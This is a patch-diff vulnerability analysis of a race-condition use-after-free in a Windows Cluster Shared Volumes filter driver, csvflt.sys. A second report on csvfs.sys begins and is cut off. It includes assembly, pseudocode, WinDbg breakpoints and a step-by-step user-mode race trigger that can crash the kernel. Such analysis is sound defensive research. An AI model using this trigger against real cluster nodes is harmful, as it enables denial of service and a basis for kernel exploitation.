Elsewhere in the same function, on the cache-stale path, the code acquires an ERESOURCE exclusive lock (ExAcquireResourceExclusiveLite at 0x1c0039f6c), frees the old cached object via Encryption::scalar_deleting_destructor (sub_1c0027c28) → ExFreePoolWithTag (0x1c0039f84), and overwrites the global with a newly allocated object at 0x1c0039f90.

Because the read-and-dereference path does not share the same lock as the free-and-replace path, two concurrent invocations of CsvCamSetSecurityInfo (sub_1C0039E30) can interleave such that:

Thread A reads EncryptionManager (data_1c002f518) at 0x1c0039e61.
Thread B acquires the exclusive lock, frees the object Thread A just read a pointer to, and swaps in a fresh allocation.
Thread A dereferences the now-dangling pointer at 0x1c0039e70/0x1c0039e77 — Use-After-Free.

The patch wraps the read of the global inside RWLock::AcquireShared (sub_1c0027d70) (acquire) / RWLock::ReleaseShared (sub_1c00289ec) (release) calls on the SAME SigningLock reader-writer lock that the free+replace path already held exclusively (SigningLock (data_1c002f530) unpatched, relocated to SigningLock (data_1c002f560) patched). Readers now take it in shared mode while the writer takes it exclusive; no new lock object was introduced, and the acquire is unconditional (no feature gate, no old path retained). The entry guard is recompiled from mov eax,[rcx+0xd4]; test eax, eax; je to cmp dword [rcx+0xd4], ebp; jbe (ebp = 0); because jbe against zero is an unsigned "below-or-equal zero", both forms branch away only when the length is exactly zero, so this is an equivalent non-zero check (a codegen difference), not a stricter bound. The second global ReplayCacheManagerObject (data_1c002f508) / ReplayCacheManagerObject (data_1c002f0b8) was already read under a shared lock in the unpatched build (ExAcquireResourceSharedLite at 0x1c0039fca); the patch only re-expresses that same shared acquire through the RWLock::AcquireShared / RWLock::ReleaseShared wrapper, which is a refactor rather than a security change. Only the first global (EncryptionManager) was read with no lock in the unpatched build, and it is the sole security-relevant change.

Entry point & data flow

Attacker-reachable via the minifilter user-mode communication API:

FilterConnectCommunicationPort(L"\\Csv2_FilterPort", ...) — connect to the filter port. The connect-notify callback (CsvConnect (sub_1c0038160)) accepts a connection context whose first DWORD is 1 or 2 (client type) and size ≥ 8 bytes.
FilterSendMessage(port, buf, sizeof(buf) ≥ 0xDC, ...) — issue a command-code-1 message.
DriverEntry (sub_1c003b078) (DriverEntry) registered the port via FltCreateCommunicationPort; the message callback is CsvMessage (sub_1c0038460).
CsvMessage (sub_1c0038460) copies the input into a pool buffer and reads its first DWORD as the command code; when it equals 1 and the input length is ≥ 0xDC, it dispatches to CsvCamSetSecurityInfo (sub_1C0039E30)(buf).
CsvCamSetSecurityInfo (sub_1C0039E30) reads buf+0xd4 (length), then reads global EncryptionManager (data_1c002f518) unlocked and dereferences it.
A concurrent FilterSendMessage invocation on a sibling thread takes the cache-stale path: it acquires the ERESOURCE, frees the old object, and swaps in a new one.
First thread dereferences the freed object — UAF.

3. Pseudocode Diff

Unpatched (vulnerable)

NTSTATUS CsvCamSetSecurityInfo (sub_1C0039E30)(MessageCtx* arg1) {
    int32_t len = arg1->length;          // [arg1+0xd4]
    bool    ok = false;

    if (len != 0) {                      // 0x1c0039e59 — non-zero check
        ok = true;

        // ============ VULNERABLE: NO LOCK HELD ============
        CachedCtx* ctx = EncryptionManager (data_1c002f518); // 0x1c0039e61 — unlocked read
        if (ctx != NULL) {
            if (ctx->length == len) {    // 0x1c0039e70 — DEREF #1 (UAF)
                // ctx->data_ptr is then passed to a copy/compare:
                if (memcmp (sub_1c0008940)(&arg1->inline_data,   // [arg1+0xd8]
                                  ctx->data_ptr,         // 0x1c0039e77 — DEREF #2 (UAF)
                                  len) != 0) {
                    ok = false;
                }
            } else {
                ok = false;
            }
        } else {
            // ---- cache-miss: alloc + free + replace ----
            CachedCtx* newctx = ExAllocatePoolWithTag(
                PagedPool, 0x28, 'CVCA');         // 0x1c0039ef5
            if (!newctx) return STATUS_INSUFFICIENT_RESOURCES;
            Encryption::Initialize (sub_1c0028308)(newctx, &arg1->inline_data, len);
            // ...
            KeEnterCriticalRegion();              // 0x1c0039f5b
            ExAcquireResourceExclusiveLite(       // 0x1c0039f6c
                *SigningLock (data_1c002f530), TRUE);

            CachedCtx* old = EncryptionManager (data_1c002f518);      // 0x1c0039f78
            if (old) Encryption::scalar_deleting_destructor (sub_1c0027c28)(old);          // 0x1c0039f84 — FREE OLD
            EncryptionManager (data_1c002f518) = newctx;              // 0x1c0039f90 — REPLACE

            ExReleaseResourceLite(*SigningLock (data_1c002f530));
            KeLeaveCriticalRegion();
        }
    }
    // ... second global access under shared lock follows ...
    return ok ? 0 : <status>;
}

Patched (fixed)

NTSTATUS CsvCamSetSecurityInfo (sub_1C0039E30)(MessageCtx* arg1) {
    int32_t len = arg1->length;          // [arg1+0xd4]
    bool    ok = false;

    if (len != 0) {                      // 0x1c0039e53 cmp / 0x1c0039e59 jbe — equivalent non-zero check
        ok = true;

        // ==== ACQUIRE SigningLock SHARED (same lock the writer takes exclusive) ====
        RWLock::AcquireShared (sub_1c0027d70)(SigningLock (data_1c002f560));   // 0x1c0039e5f load / 0x1c0039e69 — ACQUIRE SHARED

        CachedCtx* ctx = EncryptionManager (data_1c002f0c0); // 0x1c0039e6e — read UNDER LOCK
        if (ctx != NULL) {
            if (ctx->length == len) {    // 0x1c0039e7a — safe deref
                if (memcmp (sub_1c0008940)(&arg1->inline_data,
                                  ctx->data_ptr,   // safe deref
                                  len) != 0) {
                    ok = false;
                }
            } else {
                ok = false;
            }
        }

        RWLock::ReleaseShared (sub_1c00289ec)(SigningLock (data_1c002f560));   // 0x1c0039ef9 — RELEASE SHARED

        // cache-miss alloc + Encryption::Initialize then free+replace run AFTER the
        // shared release, under the exclusive ERESOURCE at 0x1c0039f74 (unchanged)
    }
    return ok ? 0 : <status>;
}

The two changes worth highlighting:

0x1c0039e61 (unpatched): mov rdx, [rel 0x1c002f518] reads the global with no lock.
0x1c0039e69 (patched): call RWLock::AcquireShared (sub_1c0027d70) takes SigningLock shared before the global read at 0x1c0039e6e.

4. Assembly Analysis

Unpatched — vulnerable block (read + deref with no lock)

; ---- entry / guard ----
0x1c0039e48: mov  eax, dword [rcx+0xd4]    ; arg1+0xd4 = attacker length
0x1c0039e4e: xor  ebp, ebp
0x1c0039e50: xor  r14b, r14b
0x1c0039e53: mov  rsi, rcx                  ; rsi = arg1 (msg buffer)
0x1c0039e56: mov  r15b, 0x1
0x1c0039e59: test eax, eax                  ; len != 0 ?
0x1c0039e5b: je   0x1c0039fb2               ; (patched: cmp [rcx+0xd4],ebp ; jbe ...)

; ---- VULNERABLE: unlocked read ----
0x1c0039e61: mov  rdx, qword [rel 0x1c002f518]   ; <-- TOCTOU window start
0x1c0039e68: mov  r14b, r15b
0x1c0039e6b: test rdx, rdx
0x1c0039e6e: je   0x1c0039ee7               ; cache miss -> alloc path

; ---- VULNERABLE: deref without lock ----
0x1c0039e70: mov  ecx, dword [rdx+0x20]     ; <-- UAF #1: cached->length
0x1c0039e73: cmp  eax, ecx
0x1c0039e75: jne  0x1c0039ebe
0x1c0039e77: mov  rdx, qword [rdx+0x18]     ; <-- UAF #2: cached->data_ptr
0x1c0039e7b: mov  r8d, ecx
0x1c0039e7e: lea  rcx, [rsi+0xd8]
0x1c0039e85: call 0x1c0008940               ; memcmp (sub_1c0008940)(dst, src, len)

Unpatched — concurrent free + replace path (lock held here)

; ---- allocate new 0x28-byte CVCA object ----
0x1c0039ee7: mov  edx, 0x28                 ; size
0x1c0039eec: mov  r8d, 0x41435643           ; 'CVCA'
0x1c0039ef2: lea  ecx, [rdx-0x27]           ; PoolType = 1 (PagedPool)
0x1c0039ef5: call qword [rel 0x1c0032608]   ; ExAllocatePoolWithTag
0x1c0039f01: mov  rdi, rax                  ; rdi = new alloc
...
0x1c0039f2e: mov  r8d, dword [rsi+0xd4]     ; len
0x1c0039f35: lea  rdx, [rsi+0xd8]           ; source inline data
0x1c0039f3c: mov  rcx, rdi                  ; new object
0x1c0039f3f: call 0x1c0028308               ; copy-init helper
0x1c0039f44: mov  ebp, eax
0x1c0039f46: test eax, eax
0x1c0039f48: jns  0x1c0039f54               ; success -> swap
0x1c0039f4a: mov  rcx, rdi
0x1c0039f4d: call 0x1c0027c28               ; free on copy failure
0x1c0039f52: jmp  0x1c0039fb2

; ---- free + swap under ERESOURCE exclusive ----
0x1c0039f54: mov  rbx, qword [rel 0x1c002f530]   ; ERESOURCE global
0x1c0039f5b: call qword [rel 0x1c0032568]        ; KeEnterCriticalRegion
0x1c0039f67: mov  rcx, qword [rbx]
0x1c0039f6a: mov  dl, 0x1
0x1c0039f6c: call qword [rel 0x1c00322c8]        ; ExAcquireResourceExclusiveLite
0x1c0039f78: mov  rcx, qword [rel 0x1c002f518]   ; read old pointer
0x1c0039f7f: test rcx, rcx
0x1c0039f82: je   0x1c0039f89
0x1c0039f84: call 0x1c0027c28                    ; <-- ExFreePoolWithTag(old)
0x1c0039f89: mov  rcx, qword [rel 0x1c002f530]
0x1c0039f90: mov  qword [rel 0x1c002f518], rdi    ; EncryptionManager (data_1c002f518) = new alloc
0x1c0039f97: mov  rcx, qword [rcx]
0x1c0039f9a: call qword [rel 0x1c00322e8]         ; ExReleaseResourceLite
0x1c0039fa6: call qword [rel 0x1c0032560]         ; KeLeaveCriticalRegion

Patched — same block wrapped in lock

0x1c0039e53: cmp  dword [rcx+0xd4], ebp          ; ebp=0; len == 0 ?
0x1c0039e59: jbe  0x1c0039fd2                    ; skip only when len == 0 (same as unpatched test/jz)

0x1c0039e5f: mov  rcx, qword [rel SigningLock]   ; SigningLock (data_1c002f560)
0x1c0039e69: call 0x1c0027d70                    ; <-- ACQUIRE SHARED (RWLock::AcquireShared)
0x1c0039e6e: mov  rdx, qword [rel EncryptionManager] ; read global UNDER LOCK (data_1c002f0c0)
0x1c0039e75: test rdx, rdx
0x1c0039e78: je   0x1c0039ef2
0x1c0039e7a: mov  eax, dword [rdx+0x20]          ; safe deref
0x1c0039e7d: cmp  dword [rsi+0xd4], eax
0x1c0039e83: jne  0x1c0039ec9
0x1c0039e85: mov  rdx, qword [rdx+0x18]          ; safe deref
0x1c0039e89: lea  rcx, [rsi+0xd8]
0x1c0039e90: mov  r8d, eax
0x1c0039e93: call 0x1c0008940                    ; memcmp
...
0x1c0039ef2: mov  rcx, qword [rel SigningLock]
0x1c0039ef9: call 0x1c00289ec                    ; <-- RELEASE SHARED (RWLock::ReleaseShared)

The key shift: the unlocked read at 0x1c0039e61 in the unpatched binary becomes a shared-lock acquire (call RWLock::AcquireShared (sub_1c0027d70) on SigningLock) in the patched binary, and only then is the global pointer read.

5. Trigger Conditions

Target environment. The host must be running csvflt.sys — present on Windows Server Failover Clustering nodes with Cluster Shared Volumes enabled. The minifilter port \Csv2_FilterPort is created in DriverEntry (DriverEntry (sub_1c003b078)) at runtime.
Open a port handle. From a user-mode process running at any privilege that can open the port:
Call FilterConnectCommunicationPort(L"\\Csv2_FilterPort", ...).
The connect buffer's first DWORD must be 1 or 2 (client type); buffer length must be ≥ 8 bytes (validated by the connect-notify callback CsvConnect (sub_1c0038160)).
Build the message buffer (≥ 0xDC bytes).

Offset	Size	Field	Required value
`+0x00`	`DWORD`	command code	`1` (routes to `CsvCamSetSecurityInfo (sub_1C0039E30)`)
`+0xcc`	`DWORD`	connection ID	any value that matches the connection the server expects
`+0xd0`	`DWORD`	sequence / flags	any
`+0xd4`	`DWORD`	length	non-zero; alternate between two distinct values to force cache invalidation
`+0xd8`	`DWORD[]`	inline data	source data copied into the cached object

Create the race. Spawn two (or more) threads, each with its own port handle:
Thread A (reader): Sends a message whose +0xd4 length matches the currently cached length. It enters the unlocked read-deref path (0x1c0039e61 → 0x1c0039e70 → 0x1c0039e77).
Thread B (freer): Sends a message whose +0xd4 length differs from the cached length. It enters the cache-stale path, allocates a new 0x28-byte CVCA object, frees the old one under the ERESOURCE, and swaps in the new pointer.
Win the race. Thread A's read at 0x1c0039e61 must occur before Thread B's ExFreePoolWithTag at 0x1c0039f84, and Thread A's deref at 0x1c0039e70/0x1c0039e77 must occur after it. The race window is a handful of instructions — about 0x10 bytes of code. Repeated concurrent calls (typically thousands of rounds) are needed for a deterministic PoC; CPU pinning of the two threads to different cores widens the window.
Observable confirmation.
With Driver Verifier Special Pool enabled on csvflt.sys, the dangling read at 0x1c0039e70/0x1c0039e77 faults on the freed guard page, typically BUGCHECK 0x50 (PAGE_FAULT_IN_NONPAGED_AREA) with the faulting instruction at csvflt+0x39e70.
Without Special Pool, if the pool page was fully released the deref may still fault with BUGCHECK 0x50; if the block was recycled, the deref reads whatever now occupies the slot and the two field reads (+0x20, +0x18) flow into memcmp (sub_1c0008940).

6. Exploit Primitive & Development Notes

Primitive

A dangling PagedPool pointer dereference on a 0x28-byte CVCA-tagged allocation. After Thread B frees the object, the freed slot may be recycled before Thread A's deref, and the two fields Thread A reads are:

+0x20 (32-bit length) — compared against the attacker's arg1+0xd4.
+0x18 (data pointer) — passed as the Buf2 (source) argument to memcmp (sub_1c0008940), compared against arg1+0xd8 for +0x20 bytes.

Limits of the primitive

The value returned to the caller through memcmp (sub_1c0008940) is used only as a match/no-match boolean: on mismatch the function clears its ok flag (r14b) and takes a WPP trace branch. It is not a data-return channel — the bytes read from +0x18 are never copied back to the caller, only compared. The binaries therefore demonstrate a use-after-free / pool-corruption condition (dangling read of freed pool, and a stale pointer used as a memcmp source). They do not demonstrate a controlled kernel-read/info-leak oracle, KASLR defeat, or a token-theft/code-execution chain; any such escalation would require additional primitives that are not present in or evidenced by these binaries. The confirmed, reachable impact is kernel memory corruption leading to denial of service (bugcheck), with the usual caveat that a UAF of this shape can, in principle, be developed further by a researcher who supplies their own reclamation and control primitives.

7. Debugger PoC Playbook

This section assumes WinDbg/KD attached to the unpatched csvflt.sys, kernel-mode, with symbols loaded (or at least the raw addresses below).

Breakpoints

Paste these into the debugger. Adjust the module prefix to whatever lm t n reports for the CSV filter (typically csvflt).

; Function entry — confirm arg1 layout
bp csvflt+0x39e30 ".printf \"CsvCamSetSecurityInfo (sub_1C0039E30) entry rcx=%p len=%d connID=%d\\n\", rcx, poi(rcx+0xd4), poi(rcx+0xcc);g"

; UNLOCKED read of the global — TOCTOU window START
bp csvflt+0x39e61 ".printf \"[UNLOCKED READ] EncryptionManager (data_1c002f518)=%p\\n\", poi(csvflt+0x2f518); rdx"

; UAF deref #1: cached->length
bp csvflt+0x39e70 ".printf \"[DEREF +0x20] rdx=%p  *(rdx+0x20)=%p\\n\", rdx, poi(rdx+0x20); !pool rdx 2"

; UAF deref #2: cached->data_ptr
bp csvflt+0x39e77 ".printf \"[DEREF +0x18] rdx=%p  *(rdx+0x18)=%p\\n\", rdx, poi(rdx+0x18)"

; Free path entry (lock acquire)
bp csvflt+0x39f54 ".printf \"[FREE-PATH] acquiring ERESOURCE=%p\\n\", poi(csvflt+0x2f530)"

; The actual ExFreePoolWithTag on the cached object
bp csvflt+0x39f84 ".printf \"[FREE] rcx=%p (about to free CVCA)\\n\", rcx; kv"

A conditional breakpoint on the entry to capture only the vulnerable path:

bp csvflt+0x39e30 ".if (poi(rcx+0xd4) != 0) {.echo ENTERED VULN PATH} .else {gc}"

What to inspect at each breakpoint

BP	Register	What it tells you
`csvflt+0x39e30`	`rcx`	Arg1 — the message buffer. `poi(rcx+0x0)` = command code (must be 1). `poi(rcx+0xcc)` = conn ID. `poi(rcx+0xd0)` = sequence/flags. `poi(rcx+0xd4)` = length (must be non-zero). `rcx+0xd8` = start of inline data.
`csvflt+0x39e61`	`rdx` (after `mov`)	The pointer just read from the global. Save this value — it is the candidate dangling pointer.
`csvflt+0x39e70`	`rdx`	Still the same pointer. `!pool rdx 2` should show it; after the race you should see it as `Free` if Special Pool is on, or unexpectedly different tag if reclaimed by attacker spray.
`csvflt+0x39f84`	`rcx`	The object being freed. Compare this value to the `rdx` value captured at `+0x39e61` — if they match and `+0x39e70` is still in flight on another thread, the UAF has fired.

Key instructions / offsets

csvflt+0x39e48 : mov  eax, [rcx+0xd4]      ; reads attacker length
csvflt+0x39e59 : test eax, eax             ; UNPATCHED guard (non-zero)
csvflt+0x39e61 : mov  rdx, [csvflt+0x2f518]; *** UNLOCKED GLOBAL READ ***
csvflt+0x39e70 : mov  ecx, [rdx+0x20]      ; *** UAF DEREF #1 ***
csvflt+0x39e77 : mov  rdx, [rdx+0x18]      ; *** UAF DEREF #2 ***
csvflt+0x39f54 : (ERESOURCE acquire)       ; lock the free path SHOULD have used
csvflt+0x39f84 : call Encryption::scalar_deleting_destructor (sub_1c0027c28)        ; ExFreePoolWithTag on old object
csvflt+0x39f90 : mov  [csvflt+0x2f518], rdi; replace global with new alloc

The corresponding patched instructions to compare (the function was recompiled, so the offsets shifted):

csvflt+0x39e53 : cmp  [rcx+0xd4], ebp      ; PATCHED guard (equivalent non-zero check)
csvflt+0x39e59 : jbe  csvflt+0x39fd2       ; skip only when len == 0
csvflt+0x39e5f : mov  rcx, [csvflt+0x2f560]; load lock object (SigningLock)
csvflt+0x39e69 : call RWLock::AcquireShared (sub_1c0027d70)        ; ACQUIRE LOCK
csvflt+0x39e6e : mov  rdx, [csvflt+0x2f0c0]; read global UNDER LOCK
csvflt+0x39ef9 : call RWLock::ReleaseShared (sub_1c00289ec)        ; RELEASE LOCK

Trigger setup from user mode

1. Target: csvflt.sys must be loaded (CSV feature enabled).
2. hPort = FilterConnectCommunicationPort(L"\\Csv2_FilterPort", 0,
              connectBuf /* DWORD[0]=1 */, 8, NULL, &hPort);
3. Build message buffer Msg[>= 0xDC]:
       Msg[0x00]  = 1            ; command code
       Msg[0xcc]  = <conn_id>    ; same conn ID you used at connect
       Msg[0xd0]  = 0            ; sequence
       Msg[0xd4]  = 0x40         ; length (alternate 0x40 / 0x80 between threads)
       memcpy(&Msg[0xd8], sprayData, 0x40);
4. Thread A loops: FilterSendMessage(hPortA, Msg, sizeof(Msg), &reply, &replyLen);
   Thread B loops: same call, hPortB, Msg with DIFFERENT +0xd4 length.
5. Enable Special Pool on csvflt.sys in Driver Verifier for crash visibility.

Expected observation

With Special Pool on, the dangling read faults on the freed guard page:

BUGCHECK 0x50 (PAGE_FAULT_IN_NONPAGED_AREA)
   Faulting IP  : csvflt+0x39e70
   Faulting addr: <old rdx + 0x20>

Without Special Pool, run !pool rdx 2 at the +0x39e70 breakpoint — if it shows Free or a different tag (reclaimed), the UAF has occurred. With attacker reclamation, poi(rdx+0x18) will be the attacker-controlled fake data pointer.

Struct layout reference

Cached CVCA object (0x28 bytes, PagedPool, tag 'CVCA'):

Offset	Size	Field
`+0x00`	8	zeroed on alloc (state/refcount)
`+0x08`	8	zeroed on alloc
`+0x10`	8	zeroed on alloc
`+0x18`	8	data pointer (passed to `memcmp (sub_1c0008940)` as source) — UAF target #2
`+0x20`	4	length (compared to `arg1+0xd4`) — UAF target #1
`+0x24`	4	(padding / unused)

Message buffer (arg1, command code 1, min 0xDC):

Offset	Size	Field
`+0x00`	4	command code (must be `1`)
`+0xcc`	4	connection ID
`+0xd0`	4	sequence / flags
`+0xd4`	4	length (must be `> 0`; alternate values to force free)
`+0xd8`	N	inline data copied into the cached object

Globals:

Symbol (unpatched)	Type	Purpose
`EncryptionManager (data_1c002f518)`	`Encryption*`	signing-context pointer (the 0x28-byte object raced on)
`SigningLock (data_1c002f530)`	`RWLock*` (wraps `ERESOURCE`)	taken exclusive by the free+replace path; unpatched read path took it not at all
`ReplayCacheManagerObject (data_1c002f508)`	`void*`	second global, read under shared lock (also hardened by patch)
`SigningLock (data_1c002f560)`	`RWLock*`	same `SigningLock` at the relocated patched address; reads now take it shared

8. Changed Functions — Full Triage

Only one function differs between the two binaries.

Function	Similarity	Change type	Notes
`CsvCamSetSecurityInfo (sub_1C0039E30)`	0.9634	security_relevant	Replaced the unlocked read+deref of the `EncryptionManager` global with a `RWLock::AcquireShared (sub_1c0027d70)` / `RWLock::ReleaseShared (sub_1c00289ec)` wrapped sequence. The read path now takes `SigningLock` in shared mode before dereferencing the global; the alloc/free/replace path still takes the same `SigningLock` exclusive. Making readers take the reader-writer lock shared to match the exclusive writer closes the TOCTOU. The entry guard was recompiled from `test eax, eax; je` to `cmp dword [rcx+0xd4], ebp; jbe`, which is the same non-zero test (not a stricter check). The second global (`ReplayCacheManager`) read was already shared-locked in the unpatched build and was only re-expressed through the same `RWLock` wrapper (a refactor).

Inside the same function, the copy-init helper Encryption::Initialize (sub_1c0028308) (unpatched) is replaced by Encryption::Initialize (sub_1c002833c) (patched) — a register-allocation-recompiled copy of the same logic with no behavioral security impact. No cosmetic-only register changes were noted elsewhere; the other 535 matched functions are byte-identical.

9. Unmatched Functions

None. Neither the unpatched nor the patched binary contains functions that have no counterpart in the other. The patch is purely an intra-function refactor inside CsvCamSetSecurityInfo (sub_1C0039E30); no sanitizers were removed. The patch adds shared-mode RWLock::AcquireShared (sub_1c0027d70) / RWLock::ReleaseShared (sub_1c00289ec) calls on the existing SigningLock around the read path; the exclusive writer path was already present in the unpatched binary.

10. Confidence & Caveats

Confidence: High for the existence of the race / UAF and its location. Medium for the exact exploitability and call-chain reachability.

Rationale:

The assembly diff is unambiguous: the unlocked read at 0x1c0039e61 is the only meaningful behavioral change. The patched binary introduces a lock acquire/release pair around the read, and the free path is unchanged in semantics — only the lock guard changed. This is a textbook TOCTOU.
The pool size (0x28), tag (CVCA), and PagedPool type are directly evidenced by the ExAllocatePoolWithTag arguments at 0x1c0039ee7-0x1c0039ef5.
The dispatch is confirmed in CsvMessage (sub_1c0038460): it copies the input into a pool buffer, reads the first DWORD as the command code, and for command code 1 with input length >= 0xDC calls CsvCamSetSecurityInfo (sub_1C0039E30). CsvConnect (sub_1c0038160) gates connection only by client type (first context DWORD must be 1 or 2, context size >= 8) and allows a single connection of each type. The open question for reachability is the port ACL: FltCreateCommunicationPort is called with a NULL SecurityDescriptor in the OBJECT_ATTRIBUTES (no FltBuildDefaultSecurityDescriptor call is present), so the effective access is whatever default the filter manager applies. A researcher should confirm:
Whether a non-admin user can open \Csv2_FilterPort on a default cluster node given that default descriptor.
That +0xcc (connection ID) and +0xd0 (sequence) do not need to match a server-side session table to reach the vulnerable path (they feed the second-global ReplayCacheManager path, not the first-global read).
That memcmp (sub_1c0008940) does not itself hold any lock that would shrink the race window further.

Other assumptions:

RWLock::AcquireShared (sub_1c0027d70) / RWLock::ReleaseShared (sub_1c00289ec) are symbol-resolved shared acquire/release on the existing SigningLock (data_1c002f560) reader-writer lock; this is the same SigningLock the exclusive writer path uses, not a new lock object.
No reclamation/spray primitive for the 0x28-byte PagedPool slot was identified or validated in these binaries; the report claims only the use-after-free itself, not a working reclamation.

What to verify manually before writing a PoC:

Reproduce the assembly offsets against the actual loaded base address (u csvflt!CsvCamSetSecurityInfo (sub_1C0039E30)).
Confirm port accessibility under a non-admin token.
Confirm the message-format fields (especially +0xcc connection ID) — best done by attaching to a live cluster node and watching a legitimate CSV client connect.
Validate the reclaim object size against the current kernel build (pool header accounting varies between Windows versions).
Test with Driver Verifier Special Pool first to make the race crash deterministically before attempting silent reclamation.

csvfs.sys — TOCTOU Race Condition / Use-After-Free (CWE-362, CWE-416) in CsvCamSetSecurityInfo fixed

2026-06-28T00:00:00-07:00

1. Overview

Field	Value
Unpatched binary	`csvfs_unpatched.sys`
Patched binary	`csvfs_patched.sys`
Overall similarity	0.9921
Matched functions	1766
Changed functions	1
Identical functions	1765
Unmatched (unpatched)	0
Unmatched (patched)	0

Verdict: The patch fixes a single, surgical defect in csvfs!CsvCamSetSecurityInfo (sub_1C00BCAAC) — an unlocked read of the global EncryptionManager pointer that can be freed concurrently by an exclusive writer, producing a TOCTOU / Use-After-Free on a 0x28-byte PagedPool ('CVCA') Encryption object.

2. Vulnerability Summary

Finding #1 — TOCTOU / Use-After-Free in `CsvCamSetSecurityInfo` (`sub_1C00BCAAC`)

Severity: High
Vulnerability class: CWE-362 (Race Condition) / CWE-416 (Use-After-Free)
Affected function: csvfs!CsvCamSetSecurityInfo (sub_1C00BCAAC, 0x1C00BCAAC in both builds)
Affected object: The global Encryption* pointer EncryptionManager (?EncryptionManager@@3PEAVEncryption@@EA), a 0x28-byte object, tag 'CVCA' (0x41435643).

Root cause:

CsvCamSetSecurityInfo updates the global Encryption signing manager used for Cluster Shared Volumes. It touches two globals:

EncryptionManager — a small (0x28-byte) Encryption object (the unprotected read).
ReplayCacheManagerObject — a larger (0x1010-byte) object (already read under SigningLock shared in both builds).

When the caller supplies a non-empty encryption input (*(context + 0xe8) != 0), the unpatched version reads EncryptionManager and dereferences its stored-size (+0x20) and stored-buffer (+0x18) fields, then memcmp's the caller's input buffer (context + 0xec) against the stored buffer — all without acquiring SigningLock. Later in the same function, the exclusive-write path takes KeEnterCriticalRegion + ExAcquireResourceExclusiveLite on SigningLock (?SigningLock@@3PEAVRWLock@@EA), frees the old object via Encryption::scalar deleting destructor` (??_GEncryption,sub_1C0058100→ExFreePoolWithTag`), and replaces the global with a freshly allocated object. Because the read side never shares the lock, the writer can free the object mid-read, leaving the reader holding a dangling pointer.

The patch wraps the read+dereference in RWLock::AcquireShared (?AcquireShared@RWLock@@QEAAXXZ) / RWLock::ReleaseShared (?ReleaseShared@RWLock@@QEAAXXZ) — the shared side of SigningLock — closing the window. Two incidental codegen differences accompany the fix and are not themselves security changes: the entry-cached eax copy of *(context+0xe8) is dropped in favor of an in-memory re-read (cmp [rsi+0xe8], eax), and the length test changes from test eax, eax; jz to cmp [rcx+0xe8], ebp; jbe. For a length field (never negative) the two tests are equivalent — the jbe form does not reject any additional value.

Note on the shared-lock helper: RWLock::AcquireShared (0x1C0018818) and RWLock::ReleaseShared (0x1C0018850) are new functions in the patched build — they do not exist in the unpatched build. Their bodies hardcode the global SigningLock: AcquireShared performs mov rbx, cs:SigningLock; KeEnterCriticalRegion; ExAcquireResourceSharedLite([rbx], 1), and ReleaseShared performs ExReleaseResourceLite([SigningLock]); KeLeaveCriticalRegion. Because they reference the global directly, the caller's this (rcx) is irrelevant — every call acquires the same SigningLock shared. In the unpatched build this exact shared sequence was emitted inline for the ReplayCacheManagerObject read; the patch factors it into these helpers and additionally applies it to the previously-unprotected EncryptionManager read. At the address 0x1C0018818 the unpatched build instead contains __GSHandlerCheck (an unrelated function relocated a few bytes later in the patched build to make room for the new helpers).

Attacker-reachable entry point and data flow:

GsDriverEntry (sub_1C00BF010) — driver entry stub.
DriverEntry (sub_1C00BF078) — driver initialization (init path, not the runtime dispatch of this call).
CsvFsNotificationQueueInitialize (sub_1C004800C).
CsvFsHandleMessage (sub_1C0005F50) — message dispatcher; calls CsvFsHandleSetSecurityInfo.
CsvFsHandleSetSecurityInfo (sub_1C0046974) — validates buffers, then calls CsvCamSetSecurityInfo at 0x1C00469D6.
CsvCamSetSecurityInfo (sub_1C00BCAAC) — vulnerable EncryptionManager update.

The context field at +0xe8 is the caller-supplied encryption input length; +0xec is the input buffer, compared via memcmp against the stored buffer read from the unlocked EncryptionManager.

3. Pseudocode Diff

// ============ UNPATCHED (vulnerable) ============
int32_t len = *(context + 0xe8);            // cached in eax at function entry
if (len != 0)                               // signed != 0 test
{
    Encryption* rdx_1 = EncryptionManager;  // <<<< NO LOCK — unprotected global read
    r14 = 1;
    if (rdx_1) {
        int32_t size = *(rdx_1 + 0x20);          // <<<< UAF: deref stored size (+0x20)
        if (len == size &&
            memcmp(context + 0xec,               // caller input
                   *(rdx_1 + 0x18),              // <<<< UAF: deref stored buffer (+0x18)
                   size) == 0)
            r14 = 0;                             // input matches existing manager
    }
}
// ...later in this function:
//   KeEnterCriticalRegion();
//   ExAcquireResourceExclusiveLite(*SigningLock, 1);
//   if (EncryptionManager) __GEncryption(EncryptionManager); // <<<< ExFreePoolWithTag of old object
//   EncryptionManager = new_object;
//   ExReleaseResourceLite(*SigningLock);
//   KeLeaveCriticalRegion();

// ============ PATCHED (fixed) ============
if (*(context + 0xe8) > 0)                   // unsigned > 0 test (cmp [rcx+0xe8], ebp; jbe)
{
    r14 = 1;
    RWLock::AcquireShared();                 // <<<< SHARED LOCK ACQUIRE (SigningLock shared)
    Encryption* rdx_1 = EncryptionManager;   // read under lock
    if (rdx_1)
    {
        int32_t size = *(rdx_1 + 0x20);      // safe deref under shared lock
        if (*(context + 0xe8) == size &&     // <<<< re-read from memory (no stale eax)
            memcmp(context + 0xec, *(rdx_1 + 0x18), size) == 0)
            r14 = 0;
    }
    RWLock::ReleaseShared();                 // <<<< SHARED LOCK RELEASE
    // ...allocate replacement / exclusive swap as before...
}

What the diff tells us:

The unpatched read of EncryptionManager has no KeEnterCriticalRegion / ExAcquireResourceSharedLite around it.
The exclusive writer (same function, later in execution, or another thread) does correctly take ExAcquireResourceExclusiveLite on SigningLock and frees the object inside that critical region — but that lock is meaningless when the reader never shares it.
The patch adds the matching shared-lock acquire/release (RWLock::AcquireShared / ReleaseShared). The accompanying re-read of the length from memory and the test→cmp/jbe codegen change are incidental and functionally equivalent for a length value; the lock is the security-relevant change.

4. Assembly Analysis

4.1 Unpatched — `sub_1C00BCAAC` (`CsvCamSetSecurityInfo`)

0x1C00BCAAC: mov     [rsp+0x8], rbx
0x1C00BCAB1: mov     [rsp+0x10], rbp
0x1C00BCAB6: mov     [rsp+0x18], rsi
0x1C00BCABB: push    rdi
0x1C00BCABC: push    r14
0x1C00BCABE: push    r15
0x1C00BCAC0: sub     rsp, 0x30
0x1C00BCAC4: mov     eax, [rcx+0xe8]         ; cache input length in eax  <-- PATCH REMOVES THIS CACHE
0x1C00BCACA: xor     ebp, ebp
0x1C00BCACC: xor     r14b, r14b
0x1C00BCACF: mov     rsi, rcx
0x1C00BCAD2: mov     r15b, 0x1
0x1C00BCAD5: test    eax, eax               ; signed != 0  <-- PATCH uses 'cmp [rcx+0xe8], ebp; jbe'
0x1C00BCAD7: jz      0x1C00BCC2E

; === RACE WINDOW START — NO LOCK ===
